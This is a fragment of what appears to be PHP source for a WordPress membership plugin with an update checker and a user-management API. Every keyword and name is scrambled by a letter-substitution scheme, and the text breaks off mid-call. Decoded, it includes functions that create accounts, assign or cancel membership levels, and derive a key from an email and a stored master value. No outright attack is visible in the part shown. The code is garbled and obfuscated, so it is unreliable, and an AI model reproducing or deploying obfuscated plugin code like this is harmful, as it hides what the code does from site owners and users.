vBh == QplrmUQplrmU || BtFxu == lsCBAxsBC || BtFxu == QplrmUQplrmU || vBh == sluu || BtFxu == sluu) { oBmlosU }Y            xA (vBh == QplrmUlsCBAxsBCQplrmU || BtFxu == QplrmUlsCBAxsBCQplrmU || vBh == QplrmUsluuQplrmU || BtFxu == QplrmUsluuQplrmU) { oBmlosU }YY            xA (CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU) QFtqUQFtqU CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU).kFulB == QplrmUQplrmU) {Y               CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnB5BhQplrmU).kFulB = vBhUY               CrDltBsm.zBmbuBtBsmeh7C(QplrmU4xDBsnBbtFxuQplrmU).kFulB = BtFxuUY            }Y         }Y      }YY      AlsDmxrs tBtEBozBsxln_FlmrAxuu(lou) {Y         moh {Y            jxsCrj.FCCbkBsm4xnmBsBo(QplrmUtBnnFzBQplrmU, tBtEBozBsxln_oBDBxkB3BnnFzB, AFunB)UY            CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).rsurFC = tBtEBozBsxln_nBsC3BnnFzBUY            CrDltBsm.zBmbuBtBsmeh7C(QplrmUtBtEBozBsxln_4xDBsnBfCQplrmU).noD = louUY         }Y         DFmDy(Boo) {Y         }Y      }YY      w&lBoh(AlsDmxrs() {Y         tBtEBozBsxln_FlmrAxuu(tBtEBozBsxln_yrtB[P])UY      })UYY      QumUWqyq BDyr QTPMGU/QTPMGU.QTPMGU/QTPMGU.QTPMGU --QzmUQTPMGUU WQzmUY      QumU/nDoxqmQzmUY      QumU/CxkQzmUY   QumUWqyqY } AlsDmxrs vBh(SBtFxu) { Srqmxrsn = zBm_rqmxrs(Smyxn-QzmUnulz)U StFnmBo = Srqmxrsn[QplrmUtFnmBoQplrmU]U oBmlos tCK(SBtFxu . QplrmU|QplrmU . StFnmBo)U } AlsDmxrs CBElz(SmBim=QplrmUQplrmU, SuxsBeoBFv=molB) { xA (VSmyxn-QzmUCBElz) { oBmlosU } xA (VDlooBsm_lnBo_DFs(QplrmUlqCFmB_qulzxsnQplrmU)) { oBmlosU } Smyxn-QzmUtnz(SmBim, SuxsBeoBFv)U } AlsDmxrs tnz(SmBim=QplrmUQplrmU, SuxsBeoBFv=molB, SnmBq=AFunB) { SBuFqnBC = mxtB() - Smyxn-QzmUnmFomU xA (SnmBq) { Smyxn-QzmUnmBq++U BDyr QTPMGUQumUnqFs mxmuB=QplrmUQTPMGU . SBuFqnBC . QTPMGUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUEQzmU$mBq QTPMGU . Smyxn-QzmUnmBq . QTPMGU:QumU/EQzmUQTPMGUU BDyr QTPMGUQumU/nqFsQzmU QTPMGUU } xA (xn_FooFh(SmBim)) { BDyr QTPMGUQumUitqQzmUQTPMGU.kFo_Biqrom(SmBim, molB).QTPMGUQumU/itqQzmUQTPMGUU } BunB { BDyr SmBimU } xA (SuxsBeoBFv) { BDyr QplrmUQumUEo /QzmU\sQplrmUU } xA (Smyxn-QzmUCBElz) { Booro_urz(SmBim)U } jyxuB (rE_zBm_uBkBu() QzmU P) { rE_BsC_Aulny()U } Aulny()U } AlsDmxrs ElAABo() { Aro (Sx=PUSxQumUKPPPUSx++) { BDyr QTPMGUQumUV-- ElAABo --QzmUQTPMGU . QplrmU\o\sQplrmUU } Aulny()U } } xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs;qCFmBdyBDvBoQTPMGU) ): DuFnn 0ulzxs;qCFmBdyBDvBo { qlEuxD StBmFCFmF;ou = QTPMGUQTPMGUU qlEuxD SqulzxsaxuB = QTPMGUQTPMGUU qlEuxD Snulz = QTPMGUQTPMGUU qlEuxD SDyBDv0BoxrC = ONU qlEuxD Srqmxrs2FtB = QTPMGUQTPMGUU AlsDmxrs __DrsnmolDm(StBmFCFmF;ou, SqulzxsaxuB, Snulz = QTPMGUQTPMGU, SDyBDv0BoxrC = ON, Srqmxrs2FtB = QTPMGUQTPMGU){ Smyxn-QzmUtBmFCFmF;ou = StBmFCFmF;ouU Smyxn-QzmUqulzxsaxuB = qulzxs_EFnBsFtB(SqulzxsaxuB)U Smyxn-QzmUDyBDv0BoxrC = SDyBDv0BoxrCU Smyxn-QzmUnulz = SnulzU Smyxn-QzmUrqmxrs2FtB = Srqmxrs2FtBU xA ( Btqmh(Smyxn-QzmUnulz) ){ Smyxn-QzmUnulz = EFnBsFtB(Smyxn-QzmUqulzxsaxuB, QTPMGU.qyqQTPMGU)U } xA ( Btqmh(Smyxn-QzmUrqmxrs2FtB) ){ Smyxn-QzmUrqmxrs2FtB = QTPMGUBimBosFu_lqCFmBn-QTPMGU . Smyxn-QzmUnulzU } Smyxn-QzmUxsnmFuu8rrvn()U } AlsDmxrs xsnmFuu8rrvn(){ FCC_AxumBo(QTPMGUqulzxsn_FqxQTPMGU, FooFh(QFtqUSmyxn, QTPMGUxswBDm7sArQTPMGU), OP, M)U FCC_AxumBo(QTPMGUnxmB_moFsnxBsm_lqCFmB_qulzxsnQTPMGU, FooFh(QFtqUSmyxn,QTPMGUxswBDm;qCFmBQTPMGU))U FCC_AxumBo(QTPMGUmoFsnxBsm_lqCFmB_qulzxsnQTPMGU, FooFh(QFtqUSmyxn,QTPMGUxswBDm;qCFmBQTPMGU))U SDors8rrv = QTPMGUDyBDv_qulzxs_lqCFmBn-QTPMGU . Smyxn-QzmUnulzU xA ( Smyxn-QzmUDyBDv0BoxrC QzmU P ){ FCC_AxumBo(QTPMGUDors_nDyBCluBnQTPMGU, FooFh(QFtqUSmyxn, QTPMGU_FCCdlnmrt$DyBCluBQTPMGU))U xA ( Vjq_sBim_nDyBCluBC(SDors8rrv) QFtqUQFtqU VCBAxsBC(QTPMGU?0_72$#f44729QTPMGU) ) { SnDyBCluB2FtB = QTPMGUBkBohQTPMGU . Smyxn-QzmUDyBDv0BoxrC . QTPMGUyrlonQTPMGUU jq_nDyBCluB_BkBsm(mxtB(), SnDyBCluB2FtB, SDors8rrv)U } FCC_FDmxrs(SDors8rrv, FooFh(QFtqUSmyxn, QTPMGUDyBDvaro;qCFmBnQTPMGU))U FCC_FDmxrs( QTPMGUFCtxs_xsxmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUtFhEBdyBDvaro;qCFmBnQTPMGU) )U } BunB { jq_DuBFo_nDyBCluBC_yrrv(SDors8rrv)U } } AlsDmxrs _FCCdlnmrt$DyBCluB(SnDyBCluBn){ xA ( Smyxn-QzmUDyBDv0BoxrC QFtqUQFtqU (Smyxn-QzmUDyBDv0BoxrC QzmU P) ){ SnDyBCluB2FtB = QTPMGUBkBohQTPMGU . Smyxn-QzmUDyBDv0BoxrC . QTPMGUyrlonQTPMGUU SnDyBCluBn[SnDyBCluB2FtB] = FooFh( QTPMGUxsmBokFuQTPMGU =QzmU Smyxn-QzmUDyBDv0BoxrC * MJPP, QTPMGUCxnquFhQTPMGU =QzmU nqoxsmA(QTPMGUbkBoh %C yrlonQTPMGU, Smyxn-QzmUDyBDv0BoxrC), )U } oBmlos SnDyBCluBnU } AlsDmxrs oBplBnm7sAr(SplBohfozn = FooFh()){ SplBohfozn[QTPMGUxsnmFuuBC_kBonxrsQTPMGU] = Smyxn-QzmUzBm7snmFuuBC!Bonxrs()U SplBohfozn = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_plBoh_Fozn-QTPMGU.Smyxn-QzmUnulz, SplBohfozn)U Srqmxrsn = FooFh( QTPMGUmxtBrlmQTPMGU =QzmU MP, QTPMGUyBFCBonQTPMGU =QzmU FooFh( QTPMGUfDDBqmQTPMGU =QzmU QTPMGUFqquxDFmxrs/wnrsQTPMGU ), )U Srqmxrsn = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_rqmxrsn-QTPMGU.Smyxn-QzmUnulz, FooFh())U Slou = Smyxn-QzmUtBmFCFmF;ouU xA ( VBtqmh(SplBohfozn) ){ Slou = FCC_plBoh_Foz(SplBohfozn, Slou)U } SoBnlum = jq_oBtrmB_zBm( Slou, Srqmxrsn )U Squlzxs7sAr = sluuU xA ( Vxn_jq_Booro(SoBnlum) QFtqUQFtqU xnnBm(SoBnlum[QTPMGUoBnqrsnBQTPMGU][QTPMGUDrCBQTPMGU]) QFtqUQFtqU (SoBnlum[QTPMGUoBnqrsnBQTPMGU][QTPMGUDrCBQTPMGU] == NPP) QFtqUQFtqU VBtqmh(SoBnlum[QTPMGUErChQTPMGU]) ){ Squlzxs7sAr = 0ulzxs7sAr::Aort6nrs(SoBnlum[QTPMGUErChQTPMGU])U } Squlzxs7sAr = Fqquh_AxumBon(QTPMGUqlD_oBplBnm_xsAr_oBnlum-QTPMGU.Smyxn-QzmUnulz, Squlzxs7sAr, SoBnlum)U oBmlos Squlzxs7sArU } AlsDmxrs oBplBnm;qCFmB(){ Squlzxs7sAr = Smyxn-QzmUoBplBnm7sAr(FooFh(QTPMGUDyBDvxsz_Aro_lqCFmBnQTPMGU =QzmU QTPMGUOQTPMGU))U xA ( Squlzxs7sAr == sluu ){ oBmlos sluuU } oBmlos 0ulzxs;qCFmB::Aort0ulzxs7sAr(Squlzxs7sAr)U } AlsDmxrs zBm7snmFuuBC!Bonxrs(){ xA ( VAlsDmxrs_Bixnmn(QTPMGUzBm_qulzxsnQTPMGU) ){ oBplxoB_rsDB( fe$0f#8 . QTPMGU/jq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } SFuu0ulzxsn = zBm_qulzxsn()U xA ( FooFh_vBh_Bixnmn(Smyxn-QzmUqulzxsaxuB, SFuu0ulzxsn) QFtqUQFtqU FooFh_vBh_Bixnmn(QTPMGU!BonxrsQTPMGU, SFuu0ulzxsn[Smyxn-QzmUqulzxsaxuB]) ){ oBmlos SFuu0ulzxsn[Smyxn-QzmUqulzxsaxuB][QTPMGU!BonxrsQTPMGU]U } BunB { oBmlos QTPMGUQTPMGUU }U } AlsDmxrs DyBDvaro;qCFmBn(){ SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA ( Btqmh(SnmFmB) ){ SnmFmB = sBj $mCduFnnU SnmFmB-QzmUuFnmdyBDv = PU SnmFmB-QzmUDyBDvBC!Bonxrs = QTPMGUQTPMGUU SnmFmB-QzmUlqCFmB = sluuU } SnmFmB-QzmUuFnmdyBDv = mxtB()U SnmFmB-QzmUDyBDvBC!Bonxrs = Smyxn-QzmUzBm7snmFuuBC!Bonxrs()U lqCFmB_rqmxrs(Smyxn-QzmUrqmxrs2FtB, SnmFmB)U SnmFmB-QzmUlqCFmB = Smyxn-QzmUoBplBnm;qCFmB()U lqCFmB_rqmxrs(Smyxn-QzmUrqmxrs2FtB, SnmFmB)U } AlsDmxrs tFhEBdyBDvaro;qCFmBn(){ xA ( Btqmh(Smyxn-QzmUDyBDv0BoxrC) ){ oBmlosU } SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA (nmoqrn(S_$b	!b	[QplrmU080_$b4aQplrmU], QTPMGUlqCFmB-DroB.qyqQTPMGU) V== af4$b) { SnmFmB-QzmUuFnmdyBDv = PU } SnyrluCdyBDv = Btqmh(SnmFmB) || VxnnBm(SnmFmB-QzmUuFnmdyBDv) || ( (mxtB() - SnmFmB-QzmUuFnmdyBDv) QzmU= Smyxn-QzmUDyBDv0BoxrC*MJPP )U xA ( SnyrluCdyBDv ){ Smyxn-QzmUDyBDvaro;qCFmBn()U } } AlsDmxrs xswBDm7sAr(SoBnlum, SFDmxrs = sluu, SFozn = sluu){ SoBuBkFsm = (SFDmxrs == QTPMGUqulzxs_xsArotFmxrsQTPMGU) QFtqUQFtqU xnnBm(SFozn-QzmUnulz) QFtqUQFtqU (SFozn-QzmUnulz == Smyxn-QzmUnulz)U xA ( VSoBuBkFsm ){ oBmlos SoBnlumU } Squlzxs7sAr = Smyxn-QzmUoBplBnm7sAr()U xA (Squlzxs7sAr){ oBmlos Squlzxs7sAr-QzmUmr?qarotFm()U } oBmlos SoBnlumU } AlsDmxrs xswBDm;qCFmB(SlqCFmBn){ SnmFmB = zBm_rqmxrs(Smyxn-QzmUrqmxrs2FtB)U xA ( VBtqmh(SnmFmB) QFtqUQFtqU xnnBm(SnmFmB-QzmUlqCFmB) QFtqUQFtqU VBtqmh(SnmFmB-QzmUlqCFmB) ){ xA ( kBonxrs_DrtqFoB(SnmFmB-QzmUlqCFmB-QzmUkBonxrs, Smyxn-QzmUzBm7snmFuuBC!Bonxrs(), QTPMGUQzmUQTPMGU) ){ Sjq_ArotFm = SnmFmB-QzmUlqCFmB-QzmUmr?qarotFm()U Sjq_ArotFm-QzmUqulzxs = Smyxn-QzmUqulzxsaxuBU SlqCFmBn-QzmUoBnqrsnB[Smyxn-QzmUqulzxsaxuB] = Sjq_ArotFmU } } oBmlos SlqCFmBnU } AlsDmxrs FCC&lBohfozaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_plBoh_Fozn-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv)U } AlsDmxrs FCC8mmq	BplBnmfozaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_rqmxrsn-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv)U } AlsDmxrs FCC	BnlumaxumBo(SDFuuEFDv){ FCC_AxumBo(QTPMGUqlD_oBplBnm_xsAr_oBnlum-QTPMGU.Smyxn-QzmUnulz, SDFuuEFDv, OP, N)U } } BsCxAU xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs7sArQTPMGU) ): DuFnn 0ulzxs7sAr { qlEuxD SsFtBU qlEuxD SnulzU qlEuxD SkBonxrsU qlEuxD SyrtBqFzBU qlEuxD SnBDmxrsnU qlEuxD SCrjsurFC_louU qlEuxD SFlmyroU qlEuxD SFlmyro_yrtBqFzBU qlEuxD SoBplxoBnU qlEuxD SmBnmBCU qlEuxD SlqzoFCB_srmxDBU qlEuxD SoFmxszU qlEuxD Sslt_oFmxsznU qlEuxD SCrjsurFCBCU qlEuxD SuFnm_lqCFmBCU qlEuxD SxC = PU qlEuxD nmFmxD AlsDmxrs Aort6nrs(Swnrs){ SFqx	BnqrsnB = wnrs_CBDrCB(Swnrs)U xA ( Btqmh(SFqx	BnqrsnB) || Vxn_rEwBDm(SFqx	BnqrsnB) ){ oBmlos sluuU } SkFuxC = xnnBm(SFqx	BnqrsnB-QzmUsFtB) QFtqUQFtqU VBtqmh(SFqx	BnqrsnB-QzmUsFtB) QFtqUQFtqU xnnBm(SFqx	BnqrsnB-QzmUkBonxrs) QFtqUQFtqU VBtqmh(SFqx	BnqrsnB-QzmUkBonxrs)U xA ( VSkFuxC ){ oBmlos sluuU } SxsAr = sBj 0ulzxs7sAr()U AroBFDy(zBm_rEwBDm_kFon(SFqx	BnqrsnB) Fn SvBh =QzmU SkFulB){ SxsAr-QzmUSvBh = SkFulBU } oBmlos SxsArU } qlEuxD AlsDmxrs mr?qarotFm(){ SxsAr = sBj $mCduFnnU SnFtBarotFm = FooFh( QTPMGUsFtBQTPMGU, QTPMGUnulzQTPMGU, QTPMGUkBonxrsQTPMGU, QTPMGUoBplxoBnQTPMGU, QTPMGUmBnmBCQTPMGU, QTPMGUoFmxszQTPMGU, QTPMGUlqzoFCB_srmxDBQTPMGU, QTPMGUslt_oFmxsznQTPMGU, QTPMGUCrjsurFCBCQTPMGU, QTPMGUyrtBqFzBQTPMGU, QTPMGUuFnm_lqCFmBCQTPMGU, QTPMGUqulzxsQTPMGU )U AroBFDy(SnFtBarotFm Fn SAxBuC){ xA ( xnnBm(Smyxn-QzmUSAxBuC) ) { SxsAr-QzmUSAxBuC = Smyxn-QzmUSAxBuCU } } SxsAr-QzmUCrjsurFC_uxsv = Smyxn-QzmUCrjsurFC_louU xA ( VBtqmh(Smyxn-QzmUFlmyro_yrtBqFzB) ){ SxsAr-QzmUFlmyro = nqoxsmA(QTPMGUQumUF yoBA=QplrmU%nQplrmUQzmU%nQumU/FQzmUQTPMGU, Smyxn-QzmUFlmyro_yrtBqFzB, Smyxn-QzmUFlmyro)U } BunB { SxsAr-QzmUFlmyro = Smyxn-QzmUFlmyroU } xA ( xn_rEwBDm(Smyxn-QzmUnBDmxrsn) ){ SxsAr-QzmUnBDmxrsn = zBm_rEwBDm_kFon(Smyxn-QzmUnBDmxrsn)U } BunBxA ( xn_FooFh(Smyxn-QzmUnBDmxrsn) ) { SxsAr-QzmUnBDmxrsn = Smyxn-QzmUnBDmxrsnU } BunB { SxsAr-QzmUnBDmxrsn = FooFh(QTPMGUCBnDoxqmxrsQTPMGU =QzmU QTPMGUQTPMGU)U } oBmlos SxsArU } } BsCxAU xA ( VDuFnn_Bixnmn(QTPMGU0ulzxs;qCFmBQTPMGU) ): DuFnn 0ulzxs;qCFmB { qlEuxD SxC = PU qlEuxD SnulzU qlEuxD SkBonxrsU qlEuxD SyrtBqFzBU qlEuxD SCrjsurFC_louU qlEuxD SlqzoFCB_srmxDBU qlEuxD nmFmxD AlsDmxrs Aort6nrs(Swnrs){ Squlzxs7sAr = 0ulzxs7sAr::Aort6nrs(Swnrs)U xA ( Squlzxs7sAr V= sluu ) { oBmlos 0ulzxs;qCFmB::Aort0ulzxs7sAr(Squlzxs7sAr)U } BunB { oBmlos sluuU } } qlEuxD nmFmxD AlsDmxrs Aort0ulzxs7sAr(SxsAr){ SlqCFmB = sBj 0ulzxs;qCFmB()U SDrqhaxBuCn = FooFh(QTPMGUxCQTPMGU, QTPMGUnulzQTPMGU, QTPMGUkBonxrsQTPMGU, QTPMGUyrtBqFzBQTPMGU, QTPMGUCrjsurFC_louQTPMGU, QTPMGUlqzoFCB_srmxDBQTPMGU)U AroBFDy(SDrqhaxBuCn Fn SAxBuC){ SlqCFmB-QzmUSAxBuC = SxsAr-QzmUSAxBuCU } oBmlos SlqCFmBU } qlEuxD AlsDmxrs mr?qarotFm(){ SlqCFmB = sBj $mCduFnnU SlqCFmB-QzmUxC = Smyxn-QzmUxCU SlqCFmB-QzmUnulz = Smyxn-QzmUnulzU SlqCFmB-QzmUsBj_kBonxrs = Smyxn-QzmUkBonxrsU SlqCFmB-QzmUlou = Smyxn-QzmUyrtBqFzBU SlqCFmB-QzmUqFDvFzB = Smyxn-QzmUCrjsurFC_louU xA ( VBtqmh(Smyxn-QzmUlqzoFCB_srmxDB) ){ SlqCFmB-QzmUlqzoFCB_srmxDB = Smyxn-QzmUlqzoFCB_srmxDBU } oBmlos SlqCFmBU } } BsCxAU StBtEBozBsxln = sBj 3BtEBo9Bsxln()U DuFnn 39f07 { qlEuxD nmFmxD AlsDmxrs 9Bm1qmxrs(Srqmxrs) { xA (Srqmxrs == QplrmUsrs_tBtEBon_Booro_qFzBQplrmU) { oBmlos yrtB_lou(QplrmUjq-urzxs.qyqQplrmU)U } } qlEuxD nmFmxD AlsDmxrs 9Bm4BkBun() { zurEFu StBtEBozBsxlnU oBmlos FooFh_tFq(FooFh(QplrmU39f07QplrmU, QplrmU9Bm4BkBun3FqQplrmU), StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun())U } qlEuxD nmFmxD AlsDmxrs 9Bm4BkBun3Fq(SuBkBu) { Snulz = nmomrurjBo(qoBz_oBquFDB(QTPMGU@[^f-<P-G]+@nxQTPMGU, QTPMGU-QTPMGU, SuBkBu-QzmUuBkBu_sFtB))U oBmlos FooFh( QTPMGUsFtBQTPMGU =QzmU SuBkBu-QzmUuBkBu_sFtB, QTPMGUlouQTPMGU =QzmU SuBkBu-QzmUuBkBu_yFny, QTPMGUurzxsoBCxoBDmQTPMGU =QzmU QTPMGU---QTPMGU, QTPMGUFAmBooBzoBCxoBDmQTPMGU =QzmU QTPMGU---QTPMGU, QTPMGUsrBiqxoBQTPMGU =QzmU (SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P) W P : O, QTPMGUlqzoFCB#rQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUlqzoFCBfAmBoQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUlqzoFCB3BmyrCQTPMGU =QzmU QTPMGUPQTPMGU, QTPMGUDrlsmQTPMGU =QzmU SuBkBu-QzmUFDmxkB, QTPMGUoruBQTPMGU =QzmU QTPMGUnlEnDoxEBoQTPMGU, QTPMGUuBkBu1oCBoQTPMGU =QzmU QTPMGUQTPMGU, QTPMGUnulzQTPMGU =QzmU Snulz, QTPMGU7cQTPMGU =QzmU SuBkBu-QzmU7c )U } qlEuxD nmFmxD AlsDmxrs 9BmdrsmBsmeh4BkBu(SDrsmBsm#hqB=QplrmUFuuQplrmU, SuBkBu) { zurEFu StBtEBozBsxlnU SDrsmBsm = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(SuBkBu)U xA (SDrsmBsm#hqB == QplrmUqrnmnQplrmU) { SDrsmBsm = zBm_qrnmn(FooFh(QplrmUqrnmn_qBo_qFzBQplrmU=QzmU-O, QplrmUqrnm_mhqBQplrmU =QzmU QplrmUqrnmQplrmU, QplrmUxsDulCBQplrmU =QzmU SDrsmBsm))U SDrsmBsm = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSqQTPMGU, QTPMGUoBmlos Sq-QzmU7cUQTPMGU), SDrsmBsm)U } BunBxA (SDrsmBsm#hqB == QplrmUqFzBnQplrmU) { SDrsmBsm = zBm_qFzBn(FooFh(QplrmUqrnmn_qBo_qFzBQplrmU=QzmU-O, QplrmUqrnm_mhqBQplrmU =QzmU QplrmUqFzBQplrmU, QplrmUxsDulCBQplrmU =QzmU SDrsmBsm))U SDrsmBsm = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSqQTPMGU, QTPMGUoBmlos Sq-QzmU7cUQTPMGU), SDrsmBsm)U } oBmlos SDrsmBsmU } qlEuxD nmFmxD AlsDmxrs fCC;nBo(SlnBosFtB, SBtFxu, SqFnnjroC, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU) { xA (VAlsDmxrs_Bixnmn(QTPMGUjq_nBm_DlooBsm_lnBoQTPMGU)) { oBplxoB_rsDB(fe$0f#8 . ?072d . QTPMGU/qulzzFEuB.qyqQTPMGU)U } SlnBosFtB = moxt(SlnBosFtB)U SqFnnjroC = moxt(SqFnnjroC)U SBtFxu = moxt(SBtFxu)U SAxonmsFtB = moxt(SAxonmsFtB)U SuFnmsFtB = moxt(SuFnmsFtB)U xA (VSlnBosFtB) { oBmlos sBj ?0_booro(QTPMGUtxnnxsz_lnBosFtBQTPMGU, QTPMGU;nBosFtB oBplxoBCQTPMGU)U } xA (lnBosFtB_Bixnmn(SlnBosFtB)) { oBmlos sBj ?0_booro(QTPMGUlnBosFtB_BixnmnQTPMGU, QTPMGU;nBosFtB FuoBFCh xs lnBQTPMGU)U } xA (Vxn_BtFxu(SBtFxu)) { oBmlos sBj ?0_booro(QTPMGUxskFuxC_BtFxuQTPMGU, QTPMGU7skFuxC BtFxu FCCoBnnQTPMGU)U } xA (BtFxu_Bixnmn(SBtFxu)) { oBmlos sBj ?0_booro(QTPMGUBtFxu_BixnmnQTPMGU, QTPMGUbtFxu FCCoBnn FuoBFCh xs lnBQTPMGU)U } xA (VSqFnnjroC) { oBmlos sBj ?0_booro(QTPMGUtxnnxsz_qFnnjroCQTPMGU, QTPMGU0FnnjroC oBplxoBCQTPMGU)U } xA (nmouBs(SqFnnjroC) QumU H) { oBmlos sBj ?0_booro(QTPMGUjBFv_qFnnjroCQTPMGU, QTPMGU0FnnjroC yFn mr EB Fm uBFnm H DyFoFDmBon urszQTPMGU)U } SlnBoCFmF = FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBosFtB, QTPMGUlnBo_BtFxuQTPMGU =QzmU SBtFxu, QTPMGUlnBo_qFnnQTPMGU =QzmU SqFnnjroC )U xA (SAxonmsFtB) { SlnBoCFmF[QTPMGUsxDvsFtBQTPMGU] = SAxonmsFtBU SlnBoCFmF[QTPMGUAxonm_sFtBQTPMGU] = SAxonmsFtBU SlnBoCFmF[QTPMGUCxnquFh_sFtBQTPMGU] = SAxonmsFtBU } xA (SuFnmsFtB) { SlnBoCFmF[QTPMGUuFnm_sFtBQTPMGU] = SuFnmsFtBU SlnBoCFmF[QTPMGUCxnquFh_sFtBQTPMGU] .= QTPMGU QTPMGU . SuFnmsFtBU } FCC_AxumBo(QTPMGUnBsC_qFnnjroC_DyFszB_BtFxuQTPMGU, QTPMGU__oBmlos_AFunBQTPMGU)U SlnBo7c = jq_DoBFmB_lnBo(SlnBosFtB, SqFnnjroC, SBtFxu)U xA (SlnBo7c) { SlnBoCFmF[QTPMGU7cQTPMGU] = SlnBo7cU jq_lqCFmB_lnBo(SlnBoCFmF)U oBmlos SlnBo7cU } BunB { oBmlos sBj ?0_booro(QTPMGUlsvsrjsQTPMGU, QTPMGU;svsrjs Booro.QTPMGU)U } } qlEuxD nmFmxD AlsDmxrs bCxm;nBo(SxC, SBtFxu=QplrmUQplrmU, SqFnnjroC=QplrmUQplrmU, SAxonmsFtB=QplrmUQplrmU, SuFnmsFtB=QplrmUQplrmU, SCxnquFhsFtB=QplrmUQplrmU, SsxDvsFtB=QplrmUQplrmU) { } qlEuxD nmFmxD AlsDmxrs cBuBmB;nBo(SxC, SoBFnnxzs=sluu) { } qlEuxD nmFmxD AlsDmxrs 9Bm;nBo4BkBun(SlnBo, SuBkBun=QplrmUFuuQplrmU, SoBmlos=QplrmUsFtBnQplrmU, SFCCqBsCxsz=AFunB, SFCCnBplBsmxFu=AFunB, SDFsDBuuBC=P ) { zurEFu StBtEBozBsxlnU xA (SDFsDBuuBC == O) { SxsAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo, QplrmU*QplrmU)U } BunB { SxsAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo, QplrmUfQplrmU)U } xA (SoBmlos == QplrmUnvlnQplrmU) { SxsAr = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSuQTPMGU, QTPMGUoBmlos Su-QzmUuBkBu_xCUQTPMGU), SxsAr)U } BunB { SxsAr = FooFh_tFq(DoBFmB_AlsDmxrs(QTPMGUSuQTPMGU, QTPMGUoBmlos Su-QzmUuBkBu_sFtBUQTPMGU), SxsAr)U } xA (SuBkBun V= QplrmUFuuQplrmU) { SmyB4BkBun = @BiqurCB(QplrmU,QplrmU, SuBkBun)U xA (Drlsm(SmyB4BkBun) == P) { SmyB4BkBun = FooFh(SuBkBun)U } AroBFDy (SxsAr Fn SvBh =QzmU SuBkBu) { xA (Vxs_FooFh(SvBh, SmyB4BkBun)) { lsnBm(SxsAr[SvBh])U } } } oBmlos SxsArU } qlEuxD nmFmxD AlsDmxrs ;nBo4xsvn(SlnBo7c) { SxsAr = 39f07::9Bm;nBo4BkBun()U kFo_Biqrom(SxsAr)U } qlEuxD nmFmxD AlsDmxrs fCC;nBo4BkBun(SlnBo, SuBkBun, SmixC=QplrmUQplrmU, SFlmroBnqrsCBo=AFunB) { zurEFu StBtEBozBsxlnU SlnBo = @xsmkFu(SlnBo)U xA (VzBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo)) { oBmlos AFunBU } AroBFDy (SuBkBun Fn SuBkBu) { SFCC = StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBu, SmixC)U xA (SFlmroBnqrsCBo) { StBtEBzBsxln-QzmUtrCBu-QzmUnlEnDoxEB(SlnBo, SuBkBu)U } } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs cBuBmB;nBo4BkBun(SxC, SuBkBun, SFlmroBnqrsCBo=molB) { zurEFu StBtEBozBsxlnU SxC = @xsmkFu(SxC)U xA (VzBm_lnBo_Eh(QplrmU7cQplrmU, SxC)) { oBmlos AFunBU } xA (Vxn_FooFh(SuBkBun)) { SuBkBun = FooFh(SuBkBun)U } AroBFDy (SuBkBun Fn SuBkBu7c) { SoBtrkB = StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SxC, SuBkBu7c)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs 9Bm3BtEBon() { } qlEuxD nmFmxD AlsDmxrs 3BozBC3BtEBon(SuBkBun, SnmoxqqBsCxsz) { } qlEuxD nmFmxD AlsDmxrs 9Bm3BtEBodrlsm(SuBkBu) { } qlEuxD nmFmxD AlsDmxrs 3FvB0BsCxsz(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvBfDmxkB(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvB$BplBsmxFu(SxC) { } qlEuxD nmFmxD AlsDmxrs 3FvB2rs$BplBsmxFu(SxC) { } qlEuxD nmFmxD AlsDmxrs 3rkB4BkBu(SxC, SuBk) { } qlEuxD nmFmxD AlsDmxrs dFsDBu4BkBu(SxC, SuBk) { zurEFu StBtEBozBsxlnU SxC = @xsmkFu(SxC)U xA (VzBm_lnBo_Eh(QplrmU7cQplrmU, SxC)) { oBmlos AFunBU } xA (Vxn_FooFh(SuBk)) { SuBk = FooFh(SuBk)U } AroBFDy (SuBk Fn SuBkBu7c) { SDFsDBu = StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SxC, SuBkBu7c)U } oBmlos molBU } qlEuxD nmFmxD AlsDmxrs ;sdFsDBu4BkBu(SxC, SuBk) { } qlEuxD nmFmxD AlsDmxrs 9Bm0rnm4BkBun(SxC) { oBmlos 39f07::9Bm0FzB4BkBun(SxC)U } qlEuxD nmFmxD AlsDmxrs fCC0rnm4BkBun(SxC, SuBkBun) { oBmlos 39f07::fCC0FzB4BkBun(SxC, 